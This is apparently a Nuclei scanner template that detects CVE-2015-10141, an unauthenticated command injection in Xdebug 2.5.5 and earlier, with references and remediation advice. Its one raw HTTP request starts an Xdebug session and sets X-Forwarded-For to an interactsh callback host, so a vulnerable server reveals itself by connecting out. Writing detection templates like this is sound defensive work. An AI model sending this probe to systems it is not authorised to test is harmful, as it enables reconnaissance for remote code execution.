Xdebug <= 2.5.5 - Command Injection

id: CVE-2015-10141

info:
  name: Xdebug <= 2.5.5 - Command Injection
  author: pwnhxl
  severity: critical
  description: |
    Xdebug <= 2.5.5 contains an unauthenticated command injection caused by accepting debugger protocol commands without authentication when remote debugging is enabled, letting remote attackers execute arbitrary PHP code and system commands, exploit requires remote debugging enabled.
  impact: |
    Attackers can execute arbitrary PHP code and system commands remotely without authentication, leading to complete server compromise.
  remediation: |
    Disable remote debugging in production environments or upgrade to Xdebug version 2.6.0 or later with proper authentication controls.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce
    - https://redshark1802.com/blog/2015/11/13/xpwn-exploiting-xdebug-enabled-servers/
    - https://paper.seebug.org/397/
    - https://github.com/D3Ext/XDEBUG-Exploit
    - https://www.exploit-db.com/exploits/44568
    - https://www.vulncheck.com/advisories/xdebug-remote-debugger-unauth-os-command-execution
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cve-id: CVE-2015-10141
    cwe-id: CWE-78
    epss-score: 0.05159
    epss-percentile: 0.9135
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2015,oast,rce,vulhub,php,debug,xdebug,intrusive,vuln

http:
  - raw:
      - |
        GET /?XDEBUG_SESSION_START={{randstr}} HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-For: {{interactsh-url}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: header
        words:
          - 'Set-Cookie: XDEBUG_SESSION={{randstr}}'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a3f029d474feb6c8bb5c7efefad1267ac76b5486ecc5d79ce11f4333205958b502210094a328b2ce2639c80b5f8f32aef3d38f3fa0c5d2cb13a727855c49727cf24455:922c64590222798bb761d5b6d8e72950